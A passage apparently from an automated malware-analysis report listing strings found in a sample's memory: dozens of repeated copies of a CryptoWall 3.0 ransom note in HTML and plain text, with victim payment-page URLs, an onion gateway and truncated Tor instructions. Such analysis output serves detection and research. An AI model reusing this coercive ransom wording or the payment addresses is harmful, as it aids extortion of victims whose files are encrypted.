target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html351.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt404.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt303.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html208.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt133.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt146.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html226.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html267.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html271.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt174.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt292.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt181.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt402.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt397.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt423.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html403.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt261.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt384.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt41.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html53.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt126.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html301.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt291.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt116.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html364.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt374.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt229.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html149.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt270.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html161.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
